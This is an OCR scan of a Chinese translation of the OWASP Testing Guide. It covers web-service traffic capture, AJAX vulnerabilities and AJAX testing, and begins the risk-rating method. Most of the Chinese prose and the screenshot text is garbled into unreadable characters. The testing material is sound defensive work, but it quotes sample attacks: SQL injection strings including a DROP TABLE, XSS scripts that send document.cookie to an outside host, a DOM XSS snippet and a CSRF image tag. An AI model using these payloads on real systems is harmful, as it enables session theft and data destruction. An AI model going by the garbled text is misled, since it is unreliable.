K A T web R S5 IS o SIS (1 UM E TRt ] LUECRE S eE R T I S Y, SRR AN
SR OU T AT SRR

|

—ANERIGE A PN Bk (MITMD o BeEEPEGEEIVE B CUEE s ik #H . Web kg ALy
HTTP fE5 M —FE ., — 24l Ethereal B Wireshark FRIIR#EES Al LA{# F WebScarab %5 T ELAF 3R & Aii 2] Web IR 45 1)
FE4r . MR W] DA ) H bR RSS2 F0B Ak — /M BUhi et S B At UG 1R B, B0 OO B DU fe 5 L
i &

PRI A 2 451
BRI A

17E W48 SCAAE SR 2% . WRLRAE R R JE rh 48 B Wireshark. 55— Nk (1) & 2235 WebScarab, K5 e1E 0 —
ARBERANFE HTTP #£ 4o
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Capture  Analyre  Staustics  Heip

o o0 x % 8 B @ » o F & Q8 qm

Eilter: ~ Expression... Cear Apoly

Ma. - Time Source Destination Protocal | Info
1 0. 000000 cisco_gd:ad:54 Broadcast ARP who has 68.44.146.387 7ell 68.44.1:
2 1.343978 Cisco_6d:ed:54 Broadcast ARP who has 68.44.147.1697 Tell 65.44.3
3 1.739038 €isco _6d:ed:54 Broadcast ARP who has 68.44.147.547 Tell 68.44.1:
4 1.792101 Cisco_6d:ed:54 Broadcast ARP who has 68.44.147.427 Tell 68.44,1¢
5 84 cisco_6d:ed:54 Broadcast wiho 68.44.146.23 Tell 68.44.1

14 2.854732 68, 36.190. 181 195,228, 39. 202
E ] - - ADD | §Cation

66. 38,150,181

S a4 i =
16 3.031428 195.228.39.202

Data

n=t
Tell 68.44.1
pher spec, Er

pec
[ack] Seq=123 Ack=117 %
pred Handshake Message. Applici

68.38.190.181 - 228, . 202 TCR 2731 L
68. 38.190.181 195. 228, 39. 202 S5L client Hella
Cisco_6d:ed:54 Broadcast ARP who has 68,44.146.2217
95.228. 39,202 68.38.190.181 TLSvI server Hello, change c
68. 36.190.181 195.228. 39. 202 TLSvlL change Cipher 5
195.228.39.202 68.38.190.181 TCP hrtps > 2731
Encr

[coloring Rule Name: TCP]
[coloring Rule string: tep)
= Etherner IT, Src: Cisco_6d:ed:54 (00:0a:8b:6d:ed:54),

TCP https > 2731 [PSH, ACK] Seq=123 Acks
17 3.167044 68.35.1090.181 195. 228. 39. 202 TCR 2731 > hreps [ack] Seq=826 ack=1234
18 3.851140 Cisco_6d:es:54 Broadcast ARP wio has 68.45.198.87 Tell 68.45.1%¢
Packer Length: 1165 bytes
Capture Length: 1165 bytes
[Frame is marked: rFalse]
[Protocols in frame: eth:ip:tecp:issl)

DST: Quantaco _6B8:c5:5c (00:c0:9f:68:c5:5c)
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2. fii /] ETHEREAL $M3K 2 1) packets, 1Hid F & packets fii ff] TCPReplay BEATHEI AT . N T Oh BT EL B () Ak 0%
ID, FHEAA—BRINRANRBURZHIEA, LMERESTE ID #2. ] LI{# ] WebScarab A T &% WebScarab 31

H HTTP i .

O

ok

b=

H

R

File Wiew Tools Help

| Summary | Messages | Proxy | Manual Request | WebServices | Spider | Extensions | XSS/CRLF | SessioniD Analysis |

Previous Requests : I

Request

Parsed | Raw |

POST hitpsebevallas.ing. huwddrehevallasingridsiono.asme?op=uploadFile HTTRM .1
Host somehost

Content-Type: textixml, charset=ul~2

Content-length: 468

SoAPAction: hitpeisomehost'servicesUploadFile

=2wml version="1.0" encading="ut-"7>

=sosp.Envelope xminsxsi="hitpMhawawow 3 org/20014MLSchema-instance”
xmins xsd="htp fwane w3 orgf2001MLSchema”
mins:soap="htp:fschemas xmisoap org/soaplenvelope=

=soap:Body=

=UploadFile xmins="hitp isomehostiservice"s
=filename=eicar.pdi=filename=

=<typespdisiypes

=chunk=¥501P% @AP [P D54 (PO TCCIT B EICAR-STANDAR D-ANTIVIRUS-TEST-FILEISH+ H*</chunk=
=first=true =iirst=

=fUploadFile=

=fgnap.Body=

Response
Parsed /m
Version Status Message
HTTRIt A Internal Serisr Errar,
Header Walus

PR 1T DBk B Lt 2 1 5 4

IR A AR L % 451
FE I A
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1. Web J 25 & 15 450 H AP ik B b I 2 L an s R BEA LS 5480, 47 Nonces 1] MAC Hulik B I fa)#kid. T
THI & SR 2 T2 R RE A LAL I 26 :  (from MSDN Wicked Code -
http://msdn.microsoft.com/msdnmag/issues/04/08/WickedCode/default.aspx?loc=&fig=truetfigl).

string id = GetSessionIDMac().Substring (0, 24);

private string GetSessionIDMac (string id, string ip,
string agent, string key)
{
StringBuilder builder = new StringBuilder (id, 512);
builder.Append (ip.Substring (0, ip.IndexOf ('.",
ip.IndexOf (.") + 1)));
builder.Append (agent);
using (HMACSHA1 hmac = new HMACSHA1
(Encoding.UTF8.GetBytes (key))) {
return Convert.ToBase64String (hmac.ComputeHash
(Encoding.UTF8.GetBytes (builder.ToString ())));
1
}

2. iZ M R A EH] T SSL——IZ K BHLIE R 2B 2 LA B ?

ZH
FB

= WS3C: "Web Services Architecture" - http://www.w3.org/TR/ws-arch/

TR

= OWASP WebScarab - http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

= Ethereal - http://www.ethereal.com/

= Wireshark - http://www.wireshark.org/ (recommended instead of Ethereal - same developers, same codebase)

= TCPReplay - http://tcpreplay.synfin.net/trac/wiki/manual

4.11 AJAX R

Ajax, Asynchronous JavaScriptand XML 465 , & HSRE . INIE N, Web TR Web FFRFIA . el HHEIA
HAPRAE AN A SN P L5 . W XMLHttpRequest X154 Fill JavaScript , Xt k45 #4253 00
K EBTITN . AR5 S BT ULTH ) DOM HTML AT €SS 1 LUSEELIX — 14 o

A Ajax SR AR i web X N FHRE P AOERARPE . AR Z MR, AJAX N RE P EEIEF ) Web N HIFE
JPAFAE SRS, JF HIP A AT E G TR AT £, AR et Lo i5h, TIPS b
AR G5 424710, BRIt AJAX S TR P S A% o 8P AE R e Tl S b LA Byl > HETF P e R, (H e ] 2
BOT KRB ARETR > T AR IAT LRI . 3K 0T RE -3 BURME IE Bt PPAG 555 8 NI RE Py sl REAH G (1 UK o
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AIAX IR P 8 AP AE A P G ) Web B HIREFIRIR . A2 AR AL vl g 2x 20 sl injection il 75/
SO AT R SRS SRS EE SR RN SRIE 4 10 5 I8 UE A BB I AT fiE 2 T SO PN 8 4
e BEAL,  AJAX N RER 75 5 52 SDE ON I BGT s sl sk OhiE C XSRF) .

TR AJAX S R PR ARAT B PR R, 5 h O 5 3 A S e g 0 i M I 2545 7 T KK B oo FEAR S Web B
AIREFe, JHiL GET B POST 1SR EEAZHIARTER) HTML 38 05 5 T PR A% 5, DB s B i 1R 4 R 5
TR S o AJAX N TR PP 3 23 AN [R] (0 2 5 B AR S AL T RIS AL POST Hicdli, 3 At 3 Gl T L AR M st 7w
1 A B ESR . A Web ACH T HL REAT RN 42 Jm 3720 A% fan I foe A 20X Aedan, DU RERE 24300 1 AJAX
(K1 R o

AT BT s DL

4.11.1 AJAX Jil1 (OWASP-AJ-001)
4.11.2 Il AJAX (OWASP-AJ-002)

4.11.1 AJAX JsilAl (OWASP-AJ-001)

Asynchronous JavaScriptand XML ( AJAX ) & R T I R A BOH IFAR,  F 45 1 P $2 A0 R A M W FH F2 41
PRUPARS: . BT AIAX IR & — R R, BT L MR T I Z e i, —28 AJAX (1224 ) il g

o (I 2 EEA IR A K A A S I B K 1

o BN RN BT AE

o HImAEBAT N E L ARG AL D0 U1 2 =05 B,
o AHERYIAMEAE BTG

o R MR S5 g AR R Y AR R, 3 R AR

T iR Bt
XMLHttpRequest I i

AJAX AT ) XMLHttpRequest ¢ XHR ) X5 55 I 55 i I FH R e HEAT BT AT A%, T2 5 Web IRS5. 70/ i A&
SKENA— G Mgs 2% ErReE WAEPE D BRAR M 00, JF A LIRSS 28T B U5 . IR AR 2 Jr B i)
HTML , A LBLJE XML . JavaScript XI55 (Javascript Object Notation, f&iF% JSON ) . EI&%E . BT H e
JavaScript BEAL T AL
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€

HR, fE—AE SSLERE 7 ] AJAX B T, XMLHttpRequest JT 41k % A7 34T SSL N5, DRIk, 8 s Bt il |
RSO 4 o A FHERAC S0 M8 28 S R (1) 22 45 [ HTTPS / SSLehannels 2 55 fiff B9y 1 b 28 ks o A= 1 7 3

XMLHttpRequest ( XHR ) XJ %40 % Wl T R &5 2 (1045 B o X AT RE SR M, a0 saQL AN B8l f A
(XSS) %,

Wt R I i

8RR T IR S ARS8 Web IR FFANIE], - AJAX N HIRS P G A 3% ) i R IR 55 #5% - 1A 20 P S A 305 404X
1o AR N REASGIN T EIR 12,

saLEA
SQL Vi N H e 50 e (e R By, Forp AR A P B O T A . NI sQu E AN BT T
1

SELECT id FROM users WHERE name=" OR 1=1 AND pass=" OR 1=1 LIMIT 1;

SEEWPREBE R A —4T (BRARZREZH) » IF HARA AR R AT R — DA V2 NHRPh, A Ll
PR BB SR I — BAT e AR 1

i 2

SELECT id FROM users WHERE name=" AND pass="; DROP TABLE users;
IR DI T T A SO T HE
U £ 6T sQL A RARSE B, W7 Testing for SQL Injection

BB A

5 ol R BAIAS B Sl A2 — B HTML 8542, JavaScript (%78 BEF RV TR SGE B RN A IIEOR . B ut A
AR ] T ik A L R G cookie ¥ 57 KT BhHEL BELIBT 45 Bt A

WA A AAX KRG B LA, IR S5 28 L X oA T DRI, A0 BfAS TR dERR 22k . fEA S5 H P

1L A JavaScript F2)7 AT LAEJG S AJAX TE SR PEYR . 1200 V284 B shils in b Z G sk R A7 145 5L, i sk
] cookies. JavaScript AL I LAV in] Bemlil K M RN, A6 HE 213K . JavaScript HREY ™ K238 i sl s JEIAS

(XSS ) Bkt i -

URAh, 5l BRUAS Al Wl RE AR SR BURF € R U0, 0 ANAE I H I LEAE Vs ) B T o IXAE A B ok 2 AU 1 R R L Y
2, IFIE B Y XA .
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S Sl FEUAS AT S0 AT A ] AJAXCT SR EL BRSNS U0, R A PR N B 25 1R 5t JAAS AR ] 00 AL Clig
BE) o IXARATT EATATREERDEr o DL, Bk A AT DU SR I HTTP J5 ikt 2 A P Jeik R BLI K o

24

<script>alert("howdy")</script>
<script>document.location="http://www.example.com/pag.pl?'%20+document.cookie</script>

iV
http://example.com/login.php?variable="><script>document.location="http://www.irr.com/cont.php?'+document.cookie</script>
XS BT T A AZ3K BESR 1R LTI ) AR 118 9 5T
B SN B

o BSULIATRIA ] DOERAT AT 2 ) i 1 Bcd BT MBI am A .

e DOM N —Fl pf XSS VAN, 1T Document Object Model(DOM) ] sub-objects, document.location,

document.URL, or document.referrer #4745

<SCRIPT>

var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
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AJAX [FIFFE
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#l| google.com o 4 [ ik AJAX DLy R ER S —=T7 Wuli, [0K 1 AIAX RS . a2, EHERME T 4 web
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B Ky i (CSRF)
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<IMG SRC="http://example.com/cgi-bin/ouch.cgi?a=b">
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WA AR ELFE K th At FTEOHL. 1P HLi . DAL 2 e 45 B 7% web SRR RS o JavaScript 4 45 i it
JavaScript [f]”image”>k “ping” t—A~ IP Ml 2 " H — & . AR50 I & R A AAAEARUERL 7 18 UG SCAE B B
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Wik HAR A 25 30 b a8 A1 Web W FRE PP O B0 AEAE 2 1 HTTP SRAT Y, DAL e vl BAG I o4 4530 Sl e p LAY o
UEAh, THZEE Web NIRRT Web 3N ds S PRI ok F KA S A H br e B, Web 3 BEas i W] 355
FEBRAE RGN NS I RE A i, X T RE s S BU3 ek E A, fEilas .

FERSE
MySpace B

0% HU 85 Samy il Spaceflash #5 21 Myspace AT, AR %8 52 WM AT AZ I sl Fh (i T P RS 28 ik Samy i
1, XSS Y AT LAYE Myspace BIAN ARYZE 15K FH<SCRIPT> »  AJAX K49 223 N\ Myspace H 8T & T 4L T2 1 11 FH
FUOAN ARSI XS] ol samy IR K52 . B2 EH ISP RFERBUTE “Samy is my hero” [K)F

¥
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= Billy Hoffman, "Ajax(in) Security" - http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf

=  Billy Hoffman, "Analysis of Web Application Worms and Viruses - http://www.blackhat.com/presentations/bh-usa-06/BH-US-
06-Hoffman_web.pdf ",SPI Labs

=  Billy Hoffman, "Ajax Security Dangers" - http://www.spidynamics.com/assets/documents/AJAXdangers.pdf ",SPI Labs

= “Ajax: A New Approach to Web Applications”, Adaptive Path -
http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett
= http://en.wikipedia.org/wiki/AJAX AJAX

= http://ajaxpatterns.org AJAX Patterns

4.11.2 &l AJAX (OWASP-AJ-002)

RS

TR 02X TSR S BRI SE web ARSI, AR 255 S 35 MW A SRR, RS
HAOHH, DA R, AR, 5T AT W0 RSB T IR 0 E AR, RS
5 iR A 5L

i) 7L 4 ik

KM B SR T RARA G R BUL SR weB T R, — NN — A — NS A HREF I W TS St i
o, AEBRMICRA NS HTML KR, RERFA NSRS M2 FUIRTK SR anchor (&) FR2EA!
HTML K A HEAR N IR0 KL S web NHIFEPH VBT AT, TEFIZ 8, X% HIFE K35 SKIEAE T
75 HTTP RUA% T A1 K R0 44 1) — B . GET WsRIE N T -

http://server.com/directory/resource.cgi?paraml=value1&key=value
KRR A% S URL (¥ POST 153K :
http://server.com/directory/resource.cgi

POST 15 3K 1 ) K HIAHABA ) T A 5 0 35 A A AL )3 SR -

paraml=valuel&key=value

R, MRS FEGHT ATAX 0 ARSI ARG 8 — Bl R, SEBrA R0 ki A TE T Ajax HE4L
HEOT R BATARE. Rk, Ak T agax NIRRT S S AP AR SE . WA T R AgAx
Sl DARATROER PTG 2R 30— BT 7 IR0, ar DU A FACEE bR HE S BRI BRI soL FEAR
Hoe kb,
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TR AJAX 3

FEMERFE T ATAX ) web N FEF 2 0T, 20828 520 U8 AR i o o SRIBUE 247 ¢ “ il R BALSE weB W]
B MfEEIES . X agax NP E Application Discovery. X AJAX NI F, A M FE M INERME
G 5 fRAT HTML F JavaScript SCHEAVE AN . 76 web N PMRNT HTML 1 JavaScript X
PRI 3R T DLER AL B i U 1) 10 IR 55 48 ity D 6 0 S0 A T (RO A LR A2 T3l di A5 HTML Ml JavaScript I
WA Z R, o TR ATAX VT IR IR S5 28 URL FOAL B RS AR T-HELZE . Ik B3 D% A F HTML Al
JavaScript XA RIS N R RS0 ) URL. £F JavaScript fUigH T4k XMLHt tpRequest KT R FIf
SRS AT Bl TS P X S AR . 946, I TR JavaScript SCHFIIA T, AT DA E MELE ATAX HEAY
PR — B agax (s, DRNEE— DA A A0S DU 2 1 SR 2Rk 1A% .

3 Source of: http:Hflocalhost: 2532/ DenimGroup.S prajax. Atlas.DemoSitelserFavorites aspx - Mozilla Firefox

include reveals where the

A5 R AR AL 12 PR DIE A S o 75 SR e S 4 W 17 2 R P A OB L A 17 SR LA SIS SR A A AT %o JEBR R R
RE s I R P S B i 5 0o R 0 53 R A R ity PR 2, BV 2t BB 22 O 80 AP U8 Y £ 8 P i
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£ Edit Request

Intercept requests : Intercept responses: [ ]

| Parsed | Raw |

FCOST hitpoflocalhost 2532/0DenimGroup Sprajax Aflas. DemoSite/Serices/UserService. asme?mn=RetrieveFavariteBooksF arlser HTTP/1 .1
Host localhost2532
User-Agent Mozillars.0 Windows, U, Windows NT 5.1, en-US; ne1.8.1) Geckor20061010 Firefox2.0
ceept: textnl, applicationtml zpplicationhtmi+rm] texdhtmlg=0.9 textplaing=0.8,magepng,
ceeptLanguage: en-us eng=0.5
ccept-Encoding: gzip,deflate
ccept-Charset [IS0-8859-1 ulf-8,g=0.7 *.g=0.7
keep-Alive: 300
Prozy-Connection: keep-alive
Content Type: application/json
Referer: httpsilocalhost29320enimGroup SprajaxAtlias. DemoSitelUs erF avorite s aspx
Content-length: 23
Cookie: ASP NET_Sessionld=mnm1xumwiswxd Snmm2sxdfy2
Pragma: no-cache

Cache-Control no-cache
Mote that rather than a standard

POST format, the recquest data has
been serialized using JSCN

Asynchronous calls are

being made to the

asns fServices/ UserService. aswx
endpoint. In this case
this is a .NET web service
and not a normal page that
would render to HTHL.

“usemame""deomell'}

Parsed | Raw |

| Accept changes I Cancel changes Abort request ‘ ‘ Cancel ALL intercepts

HOEER

LB R BT RS AgAX SRR E 75 2RI I, DR AT AR E AT B T N R K By, — AL
i ARFTSE 24 AT KRB SN, WA AT LU web ARERFIFRUERY web o FIFR S HHRMN B T soL HEATN
SRR HG,

ERAER Is WA

i A g, AT DAVEAE 3#TE T- JavaScript B Wweb i AIFRF

Firefox " AJAX Wi M T HE AT AR s N ARAD SR k4™ R e 248

AT “FireBus” Fl “Venkman JavaScript WiRes” RHLXFhEE
AR — 2 T HAE Internet Explorer W AAVFSEN JavaScript Wik, 41"Script Debugger",

ML A Firebug, M43 7] LR T 15 B "Options->Show XmlHttpRequest"$X 2 AJax Vi,
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Unermre:
Pamnwenn nd
ERLET 00T USETTAITE i s ow o 4 e .
Comments
P ;
Cimar Inapect | Optioes=| Conzole  Debugger inspector et
GET g wy oW |avascnpt Erors e tnd ghs_corienibei (e 237
Shars | SvaSE i Warmngs
Shaw C55 Eram

Shaw Errors From Chrome
Shaw Consola Messagas
Shew Stack Trace For Erars

Show XMt pARguests

MIUERE,  XMLHttpRequest X RIERANEATIERFF2FIE T I7HIN AR,
WHERY AL B T PRBAS R T I T 94T, JF i s SR e AL, K B iR 55 & 0 SO

Kk, wy DA S BRAROIR B A HRR SR AR AT KW DL kAR L . A R sy TR R, MK T AR
BRI o

Inspact Optianes Consoles  Debugger Inspectar el

il Serpts: | bt tp: A - r_cortroder, |3 iz

HI T Javascript Bt IAMTESL URL. LURA SO SHOTH], 8 il T AT HAHS AR K
LTHELN, @GRS CT B TR R,

Usemome: 3

pmerl

Pmaw ond

PIIII_ r

Enter your usermase and password 10 log . Tavalld uscrissc and password combinaibon.

Commenis;

B

Clsar Inpact Opliong= Console  Debugger Inspeciar et

o7 Y . - - gl ssreolier... (e 33)

e 1 | 1 e e e L R TR L 1 ke fexgin_eareriler.. (i 4T
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WAE, @A Javascript JRARGIEERE, WHATEAZ] T — i
LI sernimme:
userl
i i
Fnier your msermame and passwnnd b kg m bnvalid aarnnme and passos sl combination,
!'.-'rrm'nls'
inspact  Options= Console Debugger Inspedor
L]
i e e — e

SRIEIEILAE JavaScript Ji ATy —Le4e i BRI A, T LURA B AE T N Ak, 0 R,

Inspact Options= Consobe  Debugger  Inspector o
1 1 =i me “Winikea| =
LT
]
psvaward
LR+ asEny
manaage P falnes

labitpTalidatalogls e e
| siowinglaggadh  falis
= LT =

el I
Senpta: | it (N <3¢ nilraler. | = Cill @ack: dﬁl.i.a‘lllhgu“:nnlrnll;....ini'!ol -

d Trow
Completato 1 Blurfsld {legn pragentatie... bne 23] i

K g A S 45

TR AJAX 3

oA L RIS AIE BT LR KRINRS 28 ATAX S, Al T AR R LEAE AL E 7R H A B TR T 4%

AJAX IR PTFRRORS
THISE R

JIT A FRIHE S RT vl AR A A gax it B R RT LUAS BR824 oA 2 il A AN I A e U 22 B s O I T



5%

OWASP

HEH

TR

344

AIAX ‘4 TFE AIAX ‘%24 T FE - http://www.owasp.org/index.php/Category:OWASP_AJAX Security ProjectAJAX %4 TF2
AJAX ‘%4 T FE - http://www.owasp.org/index.php/Category:OWASP_AJAX Security Project

Hacking Web 2.0 Applications with Firefox, Shreeraj Shah

Vulnerability Scanning Web 2.0 Client-Side Components, Shreeraj Shah

The OWASP Sprajax tool can be used to spider web applications, identify AJAX frameworks in use, enumerate AJAX call
endpoints, and fuzz those endpoints with framework-appropriate traffic. At the current time, there is only support for the
Microsoft Atlas framework (and detection for the Google Web Toolkit), but ongoing development should increase the utility of
the tool.

Venkman is the code name for Mozilla's JavaScript Debugger. Venkman aims to provide a powerful JavaScript debugging
environment for Mozilla-based browsers.

Scriptaculous's Ghost Train is a tool to ease the development of functional tests for web sites. It’s an event recorder, and a test-

generating and replaying add-on you can use with any web application.

Squish is an automated, functional testing tool. It allows you to record, edit, and run web tests in different browsers (IE, Firefox,
Safari, Konqueror, etc.) on different platforms without having to modify the test scripts. Supports different scripting languages
for tests.

JsUnit is a Unit Testing framework for client-side (in-browser) JavaScript. It is essentially a port of JUnit to JavaScript.

FireBug lets you explore the far corners of the DOM by keyboard or mouse. All of the tools you need to poke, prod, and monitor
your JavaScript, CSS, HTML and Ajax are brought together into one seamless experience, including a debugger, an error console,

command line, and a variety of fun inspectors.


../../../../Users/TOSHIBA/AppData/Roaming/Microsoft/AJAX%E5%AE%89%E5%85%A8%E5%B7%A5%E7%A8%8B
http://www.owasp.org/index.php/Category:OWASP_AJAX_Security_Project
../AppData/Users/TOSHIBA/AppData/Roaming/Microsoft/AJAX%E5%AE%89%E5%85%A8%E5%B7%A5%E7%A8%8B
../AppData/Users/TOSHIBA/AppData/Roaming/Microsoft/AJAX%E5%AE%89%E5%85%A8%E5%B7%A5%E7%A8%8B
http://www.owasp.org/index.php/Category:OWASP_AJAX_Security_Project
http://www.securityfocus.com/infocus/1879
http://www.securityfocus.com/infocus/1881
http://www.mozilla.org/projects/venkman/
http://wiki.script.aculo.us/scriptaculous/show/GhostTrain
http://www.froglogic.com/squish
http://www.edwardh.com/jsunit/
https://addons.mozilla.org/firefox/1843/

5. BERE: VEAN S bR KU

R FEHIA T N W 2 AP AE I EE RORAG T SR MU . BRI B BRI, IR A
I S, DL U2 eI DT IR AL B EA T KRR Z VR L2 . IR R T 77 ZAkIE
HRIEARME . SRR SR 4 B A th W R 22,

5.1 Gnar vl SE B RS

OWASP JXU % 43 2 J7 V%

Hth R R LT, (R oI 5 1 UKt FURE TR, T T 0, KT 2 T k3 b7 4
RSB R % e 2IR, IR RS RIS AR B B AR TR R U 75 MUk L R AT b A O
S B A R R .

TG IX B R R, ARAT DA L 55 BITAT I U AP R B, AT ARt i o] N e AT S Mt AT X
573 P FRGE T LTS LN ) I3 G ok TOUSE R I i8 . X R G0K 2 B T ORUE AR 8073 2 0 AN 2 Bl AR XU F) e ] e
TP CAESCT RS LG BA T AR PO AR 140 TR RS e ]

BUARKS DU, Nz A3 Y (0 U 7 2 AR SRR i IO A VT AT HE AR XU o (R, X T2 AN ZUR
e i, TR AN HGUR ™ R, 6T 5 —ANMAGUR BT B AR . pr ATRA X 7R 2 — A
FEAHESL, VRTE B VR L0015 B R HEAT 7 1o

FAVR T ARATAT XA AL AT ARAR (7 51, EIRORBE T W (040 5 45 HER IO XU Ao 15225 N I 51 50 T
R IR 2> 7] A AR R PR B 2245 6L

PARFA

W BTATIRPE 5 o VRIS S W N I 22% 50 1) LR i ik I BLRZRIR) OWASP Jy 22 Bt TR SUbRifE ()
Jride, IO FRE R 2 4 P R D I R 2 4 P oo

FATTIHE KA T4«
PR =TT BEHE* R W

N ET R, AR TN R A P AR A E R, AR T MR A AL “TRENE” A S
Wi ERIER, IS T e i e 4 A AT TR i KU R A4 TR

o PR 1 YU XS
o LBE 2 AT REMERIA R
o DUR 3 Tk R N R

o ODIR 4 e M R



€

o WIS JUETEBREKAR

o IR 61 SE RIS 73 G

AR 1 U KU

B DR AT EN Y LG AR EBCERA OB B AT R B2 ARSI . B
LT A IR 55 7 AR R . T RE 2 AN i, B 2 AT RPEEmI AL SS . TH Y T IR
s U B SR BRI DL, D 3K 2 T Y o e T PR PR 2 A XU

DB 2 AT TR IR R

— HARABL T MR A AR A, R LR T “ATRErE o Al AR b
By AR PGS A TSGR B AT 2 D ] BE S BRI RN I 1 535 o BAIASL AR AT ARGRf . — ek
vi, HAT LA m . PR T R T .

TR BEAT 2 U A 22 e AU AR TR R s s P DA s S A e IR T ST 250 DR 3] DA B 312>
Bro S ENZ L BPMCEAT G . H bR AT 4 n] BE A Boe 5 Bod e h i mT REVE . 3T i X L mT e AT 2 A Ui
BESA AR i, BT LA S i DL T SR i, —AS N B3 ELORS Bee A44 RO AN AT Rl R A
i —HIX I B RN .

TEEERN R — LI, AFADLEIUA AT AR 0 21 9 HIn BEME 2. TA TRH IR T I L2807 R A o AR
Al RE

29 IBSES

S R AR SO BT % X B H AR A VT — L BGh H Bk s TR . 0 fE K A F S IR 1
DUAEAT S

BRI

RHAHH BT W ? ZABAR (D, A7 28E5R (3, WmBiHENT (4, TR s e i
(6) , MWHZEBERTT (9)

ZhHl

XA ki %6 T3 B AR A & A sh AL A AT i 2 Bk 561 3 B AN Yl 3 A B & sh Bl T 2 34 s
Ml (1), "TRefA MR (4) , mFER (9

KM A AH AT 2 DB AR e L LS

XA BB 2 DB IR e L2 ? B0 SRR (0) , ATBRIBIR (4) , SERIIBER (9)

346


https://www.owasp.org/index.php/Attack
https://www.owasp.org/index.php/Vulnerability
https://www.owasp.org/index.php/Threat_Agent

OWASP JUiX$5 4 v3.0

P

RA B AT 2 KT PR (2) , RGEEHR (20, AT (4, &k (5, SdEH
(6) , BEATEMA (9

PP ORAVIZA N FE ARSI I AT 9% o I LA H AR A TH AR G (R 5 s 5 BRI P ) e I B 1 H s 2 A o
FHOR B TRAR A LRI B Rl e ABCEAE b1 MR EIIE T L2 2 T e H

B HESE

KA A R BUX AT 2 MR A B B Il AT 2 3E? JLPANETRE (1, 3 (3D, i (7, 1A
TR (9)

PR e

SR A et A XA A 2 R AL A XA A 2k B ETRe (1, 3 (3D, i (5) ., A
TR (9)

TR
XA F N IXAN G 28K AfiE (D, A5 TH (4, Bisi (6, #iH (9
AT IEAN I A 2 K AFE (D, AGTHR (4, BmER (6) , #il (9
UNE2 o2l

TR 2 KT RE R I 20 2 R FHAR SR I (1), BOeRIEAE (3, WIeFAAWEEE (8) , ¥
Hidsk (9)

A HR 3 AT RS D R

8 ORI BT (KIS, Bl I R P (0 57— b UL e b 55 RS P I PR e (4 2 ) o e ol O 1R TR 221
TEBERIIEAT PRI o S5 TR N IR “BOREREm” DL E BT 8 . it gt mzhig. M itxy
b5 A R R 3 (0 2w BT i) Mk 5558 ma 7

2, NS RN R -2, SR, ARAT RETCIR BRI AT Y T 0 M R TR e e b 55 e R AR AR o AEIX TG
DUT, RAULSATRER R T-BOR KU AT, ] AT 8057 M 25 AR 55 XU A R AR SR 1

FIRE, ARG — AL, AR T LOE R 0 2 9 I rTRETE /MG FATR G A48 X L 507kl v 2 4
AT RENE .

BAREME R

347


https://www.owasp.org/index.php/Vulnerability
https://www.owasp.org/index.php/Vulnerability
https://www.owasp.org/index.php/Vulnerability
https://www.owasp.org/index.php/Vulnerability
https://www.owasp.org/index.php/Vulnerability

€

BORFEW AT LU LG 58 2 U B R IR 3R Lt Se sk, wIINE, DURANRTHRMIE . X HLA H Ao
IR A R ST SO O RE S

WRHLE T

A7 22 DK ] LAt R 7 SR Sl (R T 2 WD AR RSB R ittt (2D, b IORBE BRI (6)
KERAFBIE SR galtss (6) , KEMBUEEIRFEEE, Proddgalss (9 .

Z DRI T T 2 ORI (1, MR ERIESIR (3) , KRR
(5) , KEREHIIN (7D, Frafdignis (9

PRI

Z MRS ATREE R ? X IT A 2 R A MRE RS P (D, WA EZRG T (5, KERIKERS
il (50, KREMWMTERS HWr (7D, ks Ek (9

e RAN T HRA L
AT B H AT N IBER R A AR ? A AIERE (1), WTREWIRER (7) , SEalEA (9)
NS5 2055

{ELTE TR 2 CBR AR MRS 8 308 T W) Ia AT I R P20 BV 55 5% 00 1 HOR S i AT 2B H ke, (ELRR RN BRI 4
IR T ATRSAT R BN . Ok UL, AR AZE P T A E AT SS LM R R, R AR IR S A A R Ik
b 55 MU A2 AR B 5 22 A T PP AL 43 8 e 77 LR AR

V2 AT — B 02K 4681, B FTREIEAT — LS55 M S 25 oK R B AT 2O AT Ml 55 2 B o JX 4R
HER] LLARE B IR T RS B E R 22 e BB 7y o AR SRR AN AT ], W] DL AR AR AL 55 B N AS0E, - PALESR IR AT
AT A Z o R

LU IR AEVR 2 55 AR L, (HREAS DS ARIA 22w, 5 A L I A A 5 i 5 241
LS PR

NI S IE R KINATF IR ? DT RISFHNAES > TR INFNAES: (1), XHEEFREZIE N (3) , Xt
MR (7D, 85 (9)

FRERE

AN BRI AR A A IR TS ? R REE (D, REERT (4, "REE (5, MR
(9

i u A1)

348



OWASP JUiX$5 4 v3.0

AL A B IRE L iy 2 BN E AL (20, BIRRIEN (5, BmSIKEN (7D
(SN ES

HZ AN NTRME Bt ? JE—2 N (3>, EAaAN (5, ETA (D, EEITA (9

BB 4 Hf e MU ) R T

KB AR AT BEME AT R 3 M, DU TSR0 RURE: R A T R A A i AT BE A SE I )
FERERAR, ik, A 0-9 BZIBERI > N =48 7>

A REPEATE 73 2

3 %<6 H

639 fi&

FRIEXTE

FEARZ IR, “HI” —LEPIEIF R S PR B SR TIAT I o URT 25 FE B A A PR 380 4kt vl LU 45 SR 1K) S B
“ORBN” PIFR . URATRE AR RS U R LN R T TS, R IRIO S BTG R o

WERNGE

DR ARARLRA R IR 3 sl A AT BB, I 4 AR vl RE AT P — Al S0 e PR 3R 7 0 o S R b H 7
o AR B AR 2 AFE N 3R, REPIRE R TH RS20 G L g R . B3 TR H Dhitfr
XAALEE,  DLEAT A R N ]

F AR IETOERE—ME, PR HEENR N o SR T LU A P SRR T SRR R T RETE . 5 -

JEUHR LR 2R EMEBSESTEHEISE S
BARRE il DS PR I I AE M) FH e TR N A
5 2 7 1 3 6 9 2

HAKA] fEME=4.375 ()

349



A, FATH LR DR . XA R BRI RGO T &S W 5 W RAT DA T IX SB35k
M, B R AT PO RN B RS, AR 3 01, 3216 . 6 29 . Bl

HoR g A5

TS TREHENE R IE  RERANATHRIIE | TE R I

b2

i fiah A %451 [SEINEE

9 7 5 8 1

)
[
[

AR AR M=7.25 (=) HARNME S5 5 M1=2.25 ({IK)

W ERE

WEARFAAT 2 T W] REVERSE WA T, FRATEILAE S T LUK S A TIBC Al R AT 2 TR RS I IR & R . 7
FERWARRA RAF a5 mafE 5, AR e EAE WG B HRRIREA R TS HER, IBLEARE
Wil & fp 0 KDL % o

| A e T
. e
y Lo [ ow T
L ™ B T
| | fig i | &
| | ol et

